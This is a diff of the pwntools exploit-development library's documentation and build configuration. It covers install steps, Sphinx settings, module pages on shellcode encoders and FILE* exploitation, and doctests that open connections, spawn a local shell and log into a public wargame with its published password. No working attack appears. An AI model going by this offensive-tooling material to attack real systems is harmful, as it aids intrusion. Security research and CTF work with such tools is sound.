"-f", "-I", "index.html"], "doc2dash", False)
|
||||
except SystemExit,e:
|
||||
pass
|
||||
|
||||
# Insert a link to the online version.
|
||||
online = args.online
|
||||
if online is not None and online != "":
|
||||
url = online.replace("@VERSION", args.version)
|
||||
with open(os.path.join(dstdir, name+".docset", "Contents", "Info.plist"), "r+") as f_info:
|
||||
pl = f_info.read()
|
||||
pl = pl.replace("</dict>", \
|
||||
"\t<key>DashDocSetFallbackURL</key>\n\t<string>%s</string>\n</dict>" % url)
|
||||
f_info.seek(0)
|
||||
f_info.write(pl)
|
||||
f_info.truncate()
|
||||
|
||||
# Modify the CSS to hide the menu included in the HTML.
|
||||
with open(os.path.join(dstdir, name+".docset", "Contents", "Resources", "Documents", "_static", "css", "theme.css"), "r+") as f_css:
|
||||
css = f_css.read()
|
||||
css = css.replace( \
|
||||
'@media screen and (max-width: 768px){.wy-body-for-nav{background:#fcfcfc}.wy-nav-top{display:block}',\
|
||||
'@media screen {.wy-body-for-nav{background:#fcfcfc}' )
|
||||
css = css.replace( \
|
||||
'@media screen and (max-width: 480px)', \
|
||||
'@media screen ')
|
||||
f_css.seek(0)
|
||||
f_css.write(css)
|
||||
f_css.truncate()
|
||||
|
||||
# Modify the index
|
||||
db_conn = sqlite3.connect(os.path.join(dstdir, name+".docset", "Contents", "Resources", "docSet.dsidx"))
|
||||
try:
|
||||
db_conn.execute('INSERT INTO "searchIndex" ("name","type","path") VALUES ' \
|
||||
'("1 Contents", "Guide", "index.html"), ' \
|
||||
'("2 About pwntools", "Guide", "about.html"), ' \
|
||||
'("3 Installation", "Guide", "install.html"), ' \
|
||||
'("4 Getting Started", "Guide", "intro.html"), ' \
|
||||
'("5 Globals (pwn)", "Guide", "globals.html"), ' \
|
||||
'("6 Command Line Tools", "Guide", "commandline.html")')
|
||||
db_conn.execute('DELETE FROM "searchIndex" WHERE "type" = "Module" AND ("name" = "pwn" OR "name" = "pwnlib")')
|
||||
db_conn.commit()
|
||||
finally:
|
||||
db_conn.close()
|
||||
|
||||
return 0
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("--name", help="docset name", default="pwntools")
|
||||
parser.add_argument("--online", help="URL for online docs", default="https://pwntools.readthedocs.org/en/@VERSION/")
|
||||
parser.add_argument("--version", help="pwntools version", default=version.__version__)
|
||||
parser.add_argument("srcdir", help="Source directory containing .rst files")
|
||||
parser.add_argument("dstdir", help="Destination and working directory")
|
||||
|
||||
main(parser.parse_args())
|
||||
+12
-20
@@ -1,24 +1,16 @@
|
||||
capstone
|
||||
coverage[toml]
|
||||
python-dateutil
|
||||
doc2dash
|
||||
docutils<0.18; python_version<'3'
|
||||
docutils>=0.18; python_version>='3'
|
||||
intervaltree
|
||||
sphinxcontrib-napoleon
|
||||
sphinxcontrib-autoprogram==0.1.2
|
||||
isort
|
||||
mako>=1.0.0
|
||||
paramiko>=1.15.2
|
||||
pip>=6.0.8
|
||||
pyelftools>=0.29, <0.30; python_version<'3'
|
||||
pyelftools>=0.29; python_version>='3'
|
||||
pygments>=2.0
|
||||
pypandoc
|
||||
pyserial>=2.7
|
||||
pysocks
|
||||
psutil
|
||||
requests>=2.5.1
|
||||
mako>=1.0.0
|
||||
pyelftools>=0.2.3
|
||||
capstone
|
||||
ropgadget>=5.3
|
||||
sphinx==1.8.6; python_version<'3'
|
||||
sphinx>=8.1.3, <9; python_version>='3'
|
||||
pyserial>=2.7
|
||||
requests>=2.5.1
|
||||
pip>=6.0.8
|
||||
tox>=1.8.1
|
||||
pygments>=2.0
|
||||
sphinx_rtd_theme
|
||||
sphinxcontrib-autoprogram<=0.1.5
|
||||
doc2dash
|
||||
coveralls
|
||||
@@ -47,7 +47,7 @@ This module is our "clean" python-code. As a rule, we do not think that
|
||||
importing :mod:`pwnlib` or any of the submodules should have any significant
|
||||
side-effects (besides e.g. caching).
|
||||
|
||||
For the most part, you will also only get the bits you import. You for instance would
|
||||
For the most part, you will also only get the bits you import. You for instance
|
||||
not get access to :mod:`pwnlib.util.packing` simply by doing ``import
|
||||
pwnlib.util``.
|
||||
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pprint import pprint
|
||||
from pwn import *
|
||||
adb = pwnlib.adb
|
||||
|
||||
|
||||
+5
-1
@@ -2,7 +2,11 @@
|
||||
|
||||
import tempfile
|
||||
import subprocess
|
||||
from pwn import *
|
||||
from pwnlib.context import context
|
||||
from pwnlib.asm import *
|
||||
from pwnlib import shellcraft
|
||||
from pwnlib.tubes.process import process
|
||||
|
||||
|
||||
:mod:`pwnlib.asm` --- Assembler functions
|
||||
=========================================
|
||||
|
||||
@@ -12,8 +12,6 @@ Command Line Tools
|
||||
|
||||
pwntools comes with a handful of useful command-line utilities which serve as wrappers for some of the internal functionality.
|
||||
|
||||
If these tools do not appear to be installed, make sure that you have added ``~/.local/bin`` to your ``$PATH`` environment variable.
|
||||
|
||||
.. toctree::
|
||||
|
||||
.. autoprogram:: pwnlib.commandline.main:parser
|
||||
|
||||
+55
-87
@@ -12,9 +12,6 @@
|
||||
# serve to show the default.
|
||||
|
||||
import os
|
||||
import doctest
|
||||
import signal
|
||||
import six
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
@@ -25,8 +22,9 @@ build_dash = tags.has('dash')
|
||||
# documentation root, use os.path.abspath to make it absolute, like shown here.
|
||||
sys.path.insert(0, os.path.abspath('../..'))
|
||||
|
||||
import pwnlib.update
|
||||
pwnlib.update.disabled = True
|
||||
import pwnlib
|
||||
|
||||
# -- General configuration -----------------------------------------------------
|
||||
|
||||
# If your documentation needs a minimal Sphinx version, state it here.
|
||||
#needs_sphinx = '1.0'
|
||||
@@ -42,8 +40,8 @@ extensions = [
|
||||
'sphinx.ext.coverage',
|
||||
'sphinx.ext.todo',
|
||||
'sphinx.ext.intersphinx',
|
||||
'sphinx.ext.napoleon',
|
||||
'sphinxcontrib.autoprogram',
|
||||
'sphinxcontrib.napoleon'
|
||||
]
|
||||
|
||||
# Disable "info" logging directly to stdout by Sphinx
|
||||
@@ -71,15 +69,10 @@ doctest_global_setup = '''
|
||||
import sys, os
|
||||
os.environ['PWNLIB_NOTERM'] = '1'
|
||||
os.environ['PWNLIB_RANDOMIZE'] = '0'
|
||||
import six
|
||||
import pwnlib.update
|
||||
import pwnlib.util.fiddling
|
||||
import logging
|
||||
pwnlib.update.disabled = True
|
||||
import pwnlib
|
||||
pwnlib.context.context.reset_local()
|
||||
pwnlib.context.ContextType.defaults['log_level'] = logging.ERROR
|
||||
pwnlib.context.ContextType.defaults['log_level'] = 'ERROR'
|
||||
pwnlib.context.ContextType.defaults['randomize'] = False
|
||||
# pwnlib.context.ContextType.defaults['terminal'] = ['sh', '-c']
|
||||
pwnlib.util.fiddling.default_style = {}
|
||||
pwnlib.term.text.when = 'never'
|
||||
pwnlib.log.install_default_handler()
|
||||
@@ -94,12 +87,6 @@ class stdout(object):
|
||||
def __setattr__(self, name, value):
|
||||
return setattr(sys.stdout, name, value)
|
||||
pwnlib.context.ContextType.defaults['log_console'] = stdout()
|
||||
|
||||
github_actions = os.environ.get('USER') == 'runner'
|
||||
travis_ci = os.environ.get('USER') == 'travis'
|
||||
local_doctest = os.environ.get('USER') == 'pwntools'
|
||||
skip_android = True
|
||||
is_python2 = six.PY2
|
||||
'''
|
||||
|
||||
autoclass_content = 'both'
|
||||
@@ -170,7 +157,7 @@ pygments_style = 'sphinx'
|
||||
|
||||
# The theme to use for HTML and HTML Help pages. See the documentation for
|
||||
# a list of builtin themes.
|
||||
html_theme = 'sphinx_rtd_theme'
|
||||
html_theme = 'default'
|
||||
|
||||
# Theme options are theme-specific and customize the look and feel of a theme
|
||||
# further. For a list of options available for each theme, see the
|
||||
@@ -266,8 +253,8 @@ latex_documents = [
|
||||
u'2016, Gallopsled et al.', 'manual'),
|
||||
]
|
||||
|
||||
intersphinx_mapping = {'python': ('https://docs.python.org/3/', None),
|
||||
'paramiko': ('https://docs.paramiko.org/en/2.1/', None)}
|
||||
intersphinx_mapping = {'python': ('https://docs.python.org/2.7', None),
|
||||
'paramiko': ('https://paramiko-docs.readthedocs.org/en/2.1/', None)}
|
||||
|
||||
# The name of an image file (relative to this directory) to place at the top of
|
||||
# the title page.
|
||||
@@ -326,13 +313,13 @@ texinfo_documents = [
|
||||
branch = release
|
||||
|
||||
try:
|
||||
git_branch = subprocess.check_output('git describe --tags', shell = True, universal_newlines = True)
|
||||
git_branch = subprocess.check_output('git describe --tags', shell = True)
|
||||
except subprocess.CalledProcessError:
|
||||
git_branch = '-'
|
||||
|
||||
try:
|
||||
if '-' in git_branch:
|
||||
branch = subprocess.check_output('git rev-parse HEAD', shell = True, universal_newlines = True).strip()[:10]
|
||||
branch = subprocess.check_output('git rev-parse HEAD', shell = True).strip()[:10]
|
||||
except subprocess.CalledProcessError:
|
||||
pass
|
||||
|
||||
@@ -349,7 +336,7 @@ def linkcode_resolve(domain, info):
|
||||
val = mod
|
||||
for k in info['fullname'].split('.'):
|
||||
val = getattr(val, k, None)
|
||||
if val is None:
|
||||
if val == None:
|
||||
break
|
||||
|
||||
# Special case for shellcraft
|
||||
@@ -360,14 +347,11 @@ def linkcode_resolve(domain, info):
|
||||
else:
|
||||
filename = info['module'].replace('.', '/') + '.py'
|
||||
|
||||
if isinstance(val, property):
|
||||
val = val.fget
|
||||
|
||||
if isinstance(val, (types.ModuleType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType) + six.class_types):
|
||||
if isinstance(val, (types.ModuleType, types.ClassType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType)):
|
||||
try:
|
||||
lines, first = inspect.getsourcelines(val)
|
||||
filename += '#L%d-L%d' % (first, first + len(lines) - 1)
|
||||
except (IOError, TypeError):
|
||||
filename += '#L%d-%d' % (first, first + len(lines) - 1)
|
||||
except IOError:
|
||||
pass
|
||||
|
||||
return "https://github.com/Gallopsled/pwntools/blob/%s/%s" % (branch, filename)
|
||||
@@ -381,71 +365,55 @@ if build_dash:
|
||||
on_rtd = os.environ.get('READTHEDOCS', None) == 'True'
|
||||
|
||||
if not on_rtd: # only import and set the theme if we're building docs locally
|
||||
import alabaster
|
||||
html_theme = 'alabaster'
|
||||
html_theme_path = [alabaster.get_path()]
|
||||
html_theme_options = { 'nosidebar' : True }
|
||||
import sphinx_rtd_theme
|
||||
html_theme = 'sphinx_rtd_theme'
|
||||
html_theme_path = [sphinx_rtd_theme.get_html_theme_path()]
|
||||
|
||||
# otherwise, readthedocs.org uses their theme by default, so no need to specify it
|
||||
|
||||
|
||||
# -- Customization to Sphinx autodoc generation --------------------------------------------
|
||||
import sphinx.ext.autodoc
|
||||
from sphinx.util.inspect import safe_getmembers, safe_getattr
|
||||
|
||||
# Test hidden members (e.g. def _foo(...))
|
||||
def dont_skip_any_doctests(app, what, name, obj, skip, options):
|
||||
return None
|
||||
return False
|
||||
|
||||
autodoc_default_options = {'special-members': None, 'private-members': None}
|
||||
|
||||
class _DummyClass(object): pass
|
||||
|
||||
class Py2OutputChecker(_DummyClass, doctest.OutputChecker):
|
||||
def check_output(self, want, got, optionflags):
|
||||
sup = super(Py2OutputChecker, self).check_output
|
||||
if sup(want, got, optionflags):
|
||||
return True
|
||||
try:
|
||||
rly_want = pwnlib.util.safeeval.const(want)
|
||||
if sup(repr(rly_want), got, optionflags):
|
||||
return True
|
||||
rly_got = pwnlib.util.safeeval.const(got)
|
||||
if rly_want == rly_got:
|
||||
return True
|
||||
except ValueError:
|
||||
pass
|
||||
rly_want = ' '.join(x[:2].replace('b"','"').replace("b'","'")+x[2:] for x in want.replace('\n','\n ').split(' ')).replace('\n ','\n')
|
||||
if sup(rly_want, got, optionflags):
|
||||
return True
|
||||
rly_want = ' '.join(x[:2].replace('b"',' "').replace("b'"," '")+x[2:] for x in want.replace('\n','\n ').split(' ')).replace('\n ','\n')
|
||||
if sup(rly_want, got, optionflags):
|
||||
return True
|
||||
for wantl, gotl in six.moves.zip_longest(want.splitlines(), got.splitlines(), fillvalue=''):
|
||||
rly_want1 = '['.join(x[:2].replace('b"','"').replace("b'","'")+x[2:] for x in wantl.split('['))
|
||||
rly_want2 = ' '.join(x[:2].replace('b"',' "').replace("b'"," '")+x[2:] for x in wantl.split(' '))
|
||||
if not sup(rly_want1, gotl, optionflags) and not sup(rly_want2, gotl, optionflags):
|
||||
return False
|
||||
return True
|
||||
|
||||
def py2_doctest_init(self, checker=None, verbose=None, optionflags=0):
|
||||
if checker is None:
|
||||
checker = Py2OutputChecker()
|
||||
doctest.DocTestRunner.__init__(self, checker, verbose, optionflags)
|
||||
# Test non-exported members
|
||||
class ModuleDocumenter(sphinx.ext.autodoc.ModuleDocumenter):
|
||||
def get_object_members(self, want_all):
|
||||
if want_all:
|
||||
# if not hasattr(self.object, '__all__'):
|
||||
# for implicit module members, check __module__ to avoid
|
||||
# documenting imported objects
|
||||
return True, safe_getmembers(self.object)
|
||||
# else:
|
||||
# memberlist = self.object.__all__
|
||||
# # Sometimes __all__ is broken...
|
||||
# if not isinstance(memberlist, (list, tuple)) or not \
|
||||
# all(isinstance(entry, string_types) for entry in memberlist):
|
||||
# self.directive.warn(
|
||||
# '__all__ should be a list of strings, not %r '
|
||||
# '(in module %s) -- ignoring __all__' %
|
||||
# (memberlist, self.fullname))
|
||||
# # fall back to all members
|
||||
# return True, safe_getmembers(self.object)
|
||||
else:
|
||||
memberlist = self.options.members or []
|
||||
ret = []
|
||||
for mname in memberlist:
|
||||
try:
|
||||
ret.append((mname, safe_getattr(self.object, mname)))
|
||||
except AttributeError:
|
||||
self.directive.warn(
|
||||
'missing attribute mentioned in :members: or __all__: '
|
||||
'module %s, attribute %s' % (
|
||||
safe_getattr(self.object, '__name__', '???'), mname))
|
||||
return False, ret
|
||||
|
||||
if 'doctest' in sys.argv:
|
||||
def setup(app):
|
||||
pass # app.connect('autodoc-skip-member', dont_skip_any_doctests)
|
||||
app.connect('autodoc-skip-member', dont_skip_any_doctests)
|
||||
|
||||
if sys.version_info[:1] < (3,):
|
||||
import sphinx.ext.doctest
|
||||
sphinx.ext.doctest.SphinxDocTestRunner.__init__ = py2_doctest_init
|
||||
else:
|
||||
# monkey patching paramiko due to https://github.com/paramiko/paramiko/pull/1661
|
||||
import paramiko.client
|
||||
import binascii
|
||||
paramiko.client.hexlify = lambda x: binascii.hexlify(x).decode()
|
||||
paramiko.util.safe_string = lambda x: '' # function result never *actually used*
|
||||
class EndlessLoop(Exception): pass
|
||||
def alrm_handler(sig, frame):
|
||||
signal.alarm(180) # three minutes
|
||||
raise EndlessLoop()
|
||||
signal.signal(signal.SIGALRM, alrm_handler)
|
||||
signal.alarm(600) # ten minutes
|
||||
sphinx.ext.autodoc.ModuleDocumenter = ModuleDocumenter
|
||||
@@ -8,7 +8,7 @@
|
||||
:mod:`pwnlib.context` --- Setting runtime variables
|
||||
=====================================================
|
||||
|
||||
Many settings in ``pwntools`` are controlled via the global variable :data:`.context`, such as the selected target operating system, architecture, and bit-width.
|
||||
Many settings in ``pwntools`` are controlled via the global variable :data:`.context, such as the selected target operating system, architecture, and bit-width.
|
||||
|
||||
In general, exploits will start with something like:
|
||||
|
||||
|
||||
@@ -1,24 +1,7 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from glob import glob
|
||||
from pwn import *
|
||||
|
||||
# The Linux kernel won't overwrite an existing corefile, so in case
|
||||
# some other part of the doctests caused a segfault and core dump,
|
||||
# we need to get rid of it before our tests run.
|
||||
#
|
||||
# We DONT need to worry about e.g. ./core existing when using Corefile()
|
||||
# because we always move and rename the corefile to prevent this situation.
|
||||
if os.path.exists('core'):
|
||||
os.unlink('core')
|
||||
|
||||
# bash-static is a statically linked version of bash, but if $SHELL is not
|
||||
# set to anything, it decides to up and load ld.so and libc.so which breaks
|
||||
# our example of showing `corefile.libc == None` for a statically linked bin.
|
||||
# Set the environment here so it's not in the middle of our tests.
|
||||
os.environ.setdefault('SHELL', '/bin/sh')
|
||||
|
||||
|
||||
:mod:`pwnlib.elf.corefile` --- Core Files
|
||||
===========================================================
|
||||
|
||||
|
||||
@@ -2,8 +2,6 @@
|
||||
|
||||
from pwn import *
|
||||
from glob import glob
|
||||
from pwnlib.elf.maps import CAT_PROC_MAPS_EXIT
|
||||
import shutil
|
||||
|
||||
:mod:`pwnlib.elf.elf` --- ELF Files
|
||||
===========================================================
|
||||
|
||||
+12
-16
@@ -1,29 +1,25 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwn import *
|
||||
|
||||
|
||||
:mod:`pwnlib.encoders` --- Encoding Shellcode
|
||||
===============================================
|
||||
|
||||
.. automodule:: pwnlib.encoders
|
||||
:members:
|
||||
|
||||
.. automodule:: pwnlib.encoders.encoder
|
||||
:members:
|
||||
|
||||
.. automodule:: pwnlib.encoders.i386.ascii_shellcode
|
||||
|
||||
.. automodule:: pwnlib.encoders.amd64
|
||||
:members:
|
||||
|
||||
.. automodule:: pwnlib.encoders.arm
|
||||
:members:
|
||||
|
||||
.. automodule:: pwnlib.encoders.i386
|
||||
:members:
|
||||
:special-members:
|
||||
:exclude-members: __init__
|
||||
|
||||
.. automodule:: pwnlib.encoders.i386.xor
|
||||
:members:
|
||||
|
||||
.. automodule:: pwnlib.encoders.i386.delta
|
||||
:members:
|
||||
|
||||
.. automodule:: pwnlib.encoders.amd64.delta
|
||||
:members:
|
||||
|
||||
.. automodule:: pwnlib.encoders.arm.xor
|
||||
:members:
|
||||
|
||||
.. automodule:: pwnlib.encoders.mips.xor
|
||||
:members:
|
||||
@@ -1,9 +0,0 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwnlib.filepointer import *
|
||||
|
||||
:mod:`pwnlib.filepointer` --- `FILE*` structure exploitation
|
||||
============================================================
|
||||
|
||||
.. automodule:: pwnlib.filepointer
|
||||
:members:
|
||||
@@ -1,17 +0,0 @@
|
||||
.. testsetup:: *
|
||||
|
||||
import time
|
||||
import six
|
||||
from pwnlib.context import context
|
||||
from pwnlib.tubes.ssh import ssh
|
||||
from pwnlib.filesystem import *
|
||||
|
||||
:mod:`pwnlib.filesystem` --- Manipulating Files Locally and Over SSH
|
||||
====================================================================
|
||||
|
||||
Provides a Python2-compatible :py:mod:`pathlib` interface for paths
|
||||
on the local filesystem (`.Path`) as well as on remote filesystems,
|
||||
via SSH (`.SSHPath`).
|
||||
|
||||
.. automodule:: pwnlib.filesystem
|
||||
:members:
|
||||
@@ -1,8 +1,6 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwn import *
|
||||
context.arch = 'amd64'
|
||||
context.terminal = [os.path.join(os.path.dirname(pwnlib.__file__), 'gdb_faketerminal.py')]
|
||||
|
||||
:mod:`pwnlib.gdb` --- Working with GDB
|
||||
======================================
|
||||
|
||||
@@ -13,7 +13,7 @@ Which imports a bazillion things into the global namespace to make your life eas
|
||||
|
||||
This is a quick list of most of the objects and routines imported, in rough order of importance and frequency of use.
|
||||
|
||||
- :mod:`pwnlib.context`
|
||||
- :obj:`.context`
|
||||
- :data:`pwnlib.context.context`
|
||||
- Responsible for most of the pwntools convenience settings
|
||||
- Set `context.log_level = 'debug'` when troubleshooting your exploit
|
||||
|
||||
+3
-15
@@ -13,7 +13,7 @@ readthedocs_. It comes in three primary flavors:
|
||||
- Dev_
|
||||
|
||||
.. _readthedocs: https://readthedocs.org
|
||||
.. _docs.pwntools.com: https://docs.pwntools.com/en/latest
|
||||
.. _docs.pwntools.com: https://docs.pwntools.com
|
||||
.. _Stable: https://docs.pwntools.com/en/stable
|
||||
.. _Beta: https://docs.pwntools.com/en/beta
|
||||
.. _Dev: https://docs.pwntools.com/en/dev
|
||||
@@ -52,10 +52,8 @@ Each of the ``pwntools`` modules is documented here.
|
||||
context
|
||||
dynelf
|
||||
encoders
|
||||
elf/*
|
||||
elf
|
||||
exception
|
||||
filepointer
|
||||
filesystem
|
||||
flag
|
||||
fmtstr
|
||||
gdb
|
||||
@@ -63,8 +61,8 @@ Each of the ``pwntools`` modules is documented here.
|
||||
log
|
||||
memleak
|
||||
protocols
|
||||
qemu
|
||||
replacements
|
||||
rop
|
||||
rop/*
|
||||
runner
|
||||
shellcraft
|
||||
@@ -77,7 +75,6 @@ Each of the ``pwntools`` modules is documented here.
|
||||
update
|
||||
useragents
|
||||
util/*
|
||||
windbg
|
||||
|
||||
.. toctree::
|
||||
:hidden:
|
||||
@@ -92,12 +89,3 @@ Each of the ``pwntools`` modules is documented here.
|
||||
* :ref:`genindex`
|
||||
* :ref:`modindex`
|
||||
* :ref:`search`
|
||||
|
||||
Bytes
|
||||
-----
|
||||
|
||||
The bytes vs text distinction is so important that it even made it to this main page.
|
||||
See the pwntools-tutorial_ repo for the latest tutorial finally
|
||||
explaining the difference once and for all (hopefully).
|
||||
|
||||
.. _pwntools-tutorial: https://github.com/Gallopsled/pwntools-tutorial/blob/master/bytes.md
|
||||
+8
-41
@@ -1,7 +1,9 @@
|
||||
Installation
|
||||
============
|
||||
|
||||
Pwntools is best supported on 64-bit Ubuntu LTS releases (14.04, 16.04, 18.04, and 20.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
|
||||
pwntools is best supported on Ubuntu 12.04 and 14.04, but most
|
||||
functionality should work on any Posix-like distribution (Debian, Arch,
|
||||
FreeBSD, OSX, etc.).
|
||||
|
||||
Prerequisites
|
||||
-------------
|
||||
@@ -15,52 +17,17 @@ following system libraries installed.
|
||||
|
||||
install/*
|
||||
|
||||
|
||||
Note: For Mac OS X you will need to have cmake ``brew install cmake`` and pkg-config ``brew install pkg-config`` installed.
|
||||
|
||||
Released Version
|
||||
-----------------
|
||||
|
||||
pwntools is available as a ``pip`` package for both Python2 and Python3.
|
||||
|
||||
Python3
|
||||
^^^^^^^
|
||||
pwntools is available as a ``pip`` package.
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
$ sudo apt-get update
|
||||
$ sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
|
||||
$ python3 -m pip install --upgrade pip
|
||||
$ python3 -m pip install --upgrade pwntools
|
||||
|
||||
|
||||
Python2 (Deprecated)
|
||||
^^^^^^^^^^^^^^^^^^^^
|
||||
|
||||
NOTE: Pwntools maintainers STRONGLY recommend using Python3 for all future Pwntools-based scripts and projects.
|
||||
|
||||
Additionally, due to `pip` dropping support for Python2, a specfic version of `pip` must be installed.
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
$ sudo apt-get update
|
||||
$ sudo apt-get install python python-pip python-dev git libssl-dev libffi-dev build-essential
|
||||
$ python2 -m pip install --upgrade pip==20.3.4
|
||||
$ python2 -m pip install --upgrade pwntools
|
||||
|
||||
|
||||
Command-Line Tools
|
||||
------------------
|
||||
|
||||
When installed with ``sudo`` the above commands will install Pwntools' command-line tools to somewhere like ``/usr/bin``.
|
||||
|
||||
However, if you run as an unprivileged user, you may see a warning message that looks like this::
|
||||
|
||||
WARNING: The scripts asm, checksec, common, constgrep, cyclic, debug, disablenx, disasm,
|
||||
elfdiff, elfpatch, errno, hex, main, phd, pwn, pwnstrip, scramble, shellcraft, template,
|
||||
unhex, update and version are installed in '/home/user/.local/bin' which is not on PATH.
|
||||
|
||||
Follow the instructions listed and add ``~/.local/bin`` to your ``$PATH`` environment variable.
|
||||
$ apt-get update
|
||||
$ apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
|
||||
$ pip install --upgrade pip
|
||||
$ pip install --upgrade pwntools
|
||||
|
||||
Development
|
||||
--------------
|
||||
|
||||
@@ -5,48 +5,41 @@ Assembly of foreign architectures (e.g. assembling Sparc shellcode on
|
||||
Mac OS X) requires cross-compiled versions of ``binutils`` to be
|
||||
installed. We've made this process as smooth as we can.
|
||||
|
||||
In these examples, replace ``$ARCH`` with your target architecture (e.g., arm, aarch64, mips64, vax, etc.).
|
||||
In these examples, replace ``$ARCH`` with your target architecture (e.g., arm, mips64, vax, etc.).
|
||||
|
||||
Building `binutils` from source takes about 60 seconds on a modern 8-core machine.
|
||||
|
||||
Ubuntu
|
||||
^^^^^^^^^^^^^^^^
|
||||
|
||||
For Ubuntu 12.04 through 15.10, you must first add the pwntools `Personal Package Archive repository <https://launchpad.net/~pwntools/+archive/ubuntu/binutils>`__.
|
||||
For Ubuntu 12.04 through 15.10, you must first add the pwntools `Personal Package Archive repository <http://binutils.pwntools.com>`__.
|
||||
|
||||
Ubuntu Xenial (16.04) has official packages for most architectures, and does not require this step.
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
$ sudo apt-get install software-properties-common
|
||||
$ sudo apt-add-repository ppa:pwntools/binutils
|
||||
$ sudo apt-get update
|
||||
$ apt-get install software-properties-common
|
||||
$ apt-add-repository ppa:pwntools/binutils
|
||||
$ apt-get update
|
||||
|
||||
Then, install the binutils for your architecture.
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
$ sudo apt-get install binutils-$ARCH-linux-gnu
|
||||
$ apt-get install binutils-$ARCH-linux-gnu
|
||||
|
||||
Mac OS X
|
||||
^^^^^^^^^^^^^^^^
|
||||
|
||||
Mac OS X is just as easy, but requires building binutils from source.
|
||||
However, we've made ``homebrew`` recipes to make this just two commands.
|
||||
After installing `brew <https://brew.sh>`__, grab the appropriate
|
||||
However, we've made ``homebrew`` recipes to make this a single command.
|
||||
After installing `brew <http://brew.sh>`__, grab the appropriate
|
||||
recipe from our `binutils
|
||||
repo <https://github.com/Gallopsled/pwntools-binutils/>`__.
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
$ wget https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-$ARCH.rb
|
||||
$ brew install ./binutils-$ARCH.rb
|
||||
|
||||
Windows
|
||||
^^^^^^^^^^^^^^^^
|
||||
|
||||
Windows support is experimental. You can try installing a prebuilt version of binutils
|
||||
for your desired architecture from the `GNU Toolchains <https://gnutoolchains.com/>`__ project.
|
||||
$ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$ARCH.rb
|
||||
|
||||
Alternate OSes
|
||||
^^^^^^^^^^^^^^^^
|
||||
@@ -58,10 +51,10 @@ OSes, ``binutils`` is simple to build by hand.
|
||||
|
||||
#!/usr/bin/env bash
|
||||
|
||||
V=2.38 # Binutils Version
|
||||
V=2.25 # Binutils Version
|
||||
ARCH=arm # Target architecture
|
||||
|
||||
cd ${TMPDIR:-/tmp}
|
||||
cd /tmp
|
||||
wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.gz
|
||||
wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.gz.sig
|
||||
|
||||
@@ -77,7 +70,7 @@ OSes, ``binutils`` is simple to build by hand.
|
||||
export AS=as
|
||||
|
||||
../binutils-$V/configure \
|
||||
--prefix=${PREFIX:-/usr/local} \
|
||||
--prefix=/usr/local \
|
||||
--target=$ARCH-unknown-linux-gnu \
|
||||
--disable-static \
|
||||
--disable-multilib \
|
||||
|
||||
@@ -10,7 +10,7 @@ Ubuntu
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
$ sudo apt-get install python-dev
|
||||
$ apt-get install python-dev
|
||||
|
||||
Mac OS X
|
||||
^^^^^^^^^^^^^^^^
|
||||
|
||||
+35
-44
@@ -17,13 +17,6 @@ assemble, disassemble, pack, unpack, and many other things with a single functio
|
||||
A full list of everything that is imported is available on :doc:`globals`.
|
||||
|
||||
|
||||
Tutorials
|
||||
---------
|
||||
|
||||
A series of tutorials for Pwntools exists online, at
|
||||
https://github.com/Gallopsled/pwntools-tutorial#readme
|
||||
|
||||
|
||||
Making Connections
|
||||
------------------
|
||||
|
||||
@@ -34,16 +27,14 @@ This exposes a standard interface to talk to processes, sockets, serial ports,
|
||||
and all manner of things, along with some nifty helpers for common tasks.
|
||||
For example, remote connections via :mod:`pwnlib.tubes.remote`.
|
||||
|
||||
::
|
||||
|
||||
>>> conn = remote('ftp.ubuntu.com',21)
|
||||
>>> conn = remote('ftp.debian.org',21)
|
||||
>>> conn.recvline() # doctest: +ELLIPSIS
|
||||
b'220 ...'
|
||||
>>> conn.send(b'USER anonymous\r\n')
|
||||
>>> conn.recvuntil(b' ', drop=True)
|
||||
b'331'
|
||||
'220 ...'
|
||||
>>> conn.send('USER anonymous\r\n')
|
||||
>>> conn.recvuntil(' ', drop=True)
|
||||
'331'
|
||||
>>> conn.recvline()
|
||||
b'Please specify the password.\r\n'
|
||||
'Please specify the password.\r\n'
|
||||
>>> conn.close()
|
||||
|
||||
It's also easy to spin up a listener
|
||||
@@ -51,20 +42,20 @@ It's also easy to spin up a listener
|
||||
>>> l = listen()
|
||||
>>> r = remote('localhost', l.lport)
|
||||
>>> c = l.wait_for_connection()
|
||||
>>> r.send(b'hello')
|
||||
>>> r.send('hello')
|
||||
>>> c.recv()
|
||||
b'hello'
|
||||
'hello'
|
||||
|
||||
Interacting with processes is easy thanks to :mod:`pwnlib.tubes.process`.
|
||||
|
||||
::
|
||||
|
||||
>>> sh = process('/bin/sh')
|
||||
>>> sh.sendline(b'sleep 3; echo hello world;')
|
||||
>>> sh.sendline('sleep 3; echo hello world;')
|
||||
>>> sh.recvline(timeout=1)
|
||||
b''
|
||||
''
|
||||
>>> sh.recvline(timeout=5)
|
||||
b'hello world\n'
|
||||
'hello world\n'
|
||||
>>> sh.close()
|
||||
|
||||
Not only can you interact with processes programmatically, but you can
|
||||
@@ -83,14 +74,14 @@ a ``process`` tube.
|
||||
|
||||
>>> shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
|
||||
>>> shell['whoami']
|
||||
b'bandit0'
|
||||
'bandit0'
|
||||
>>> shell.download_file('/etc/motd')
|
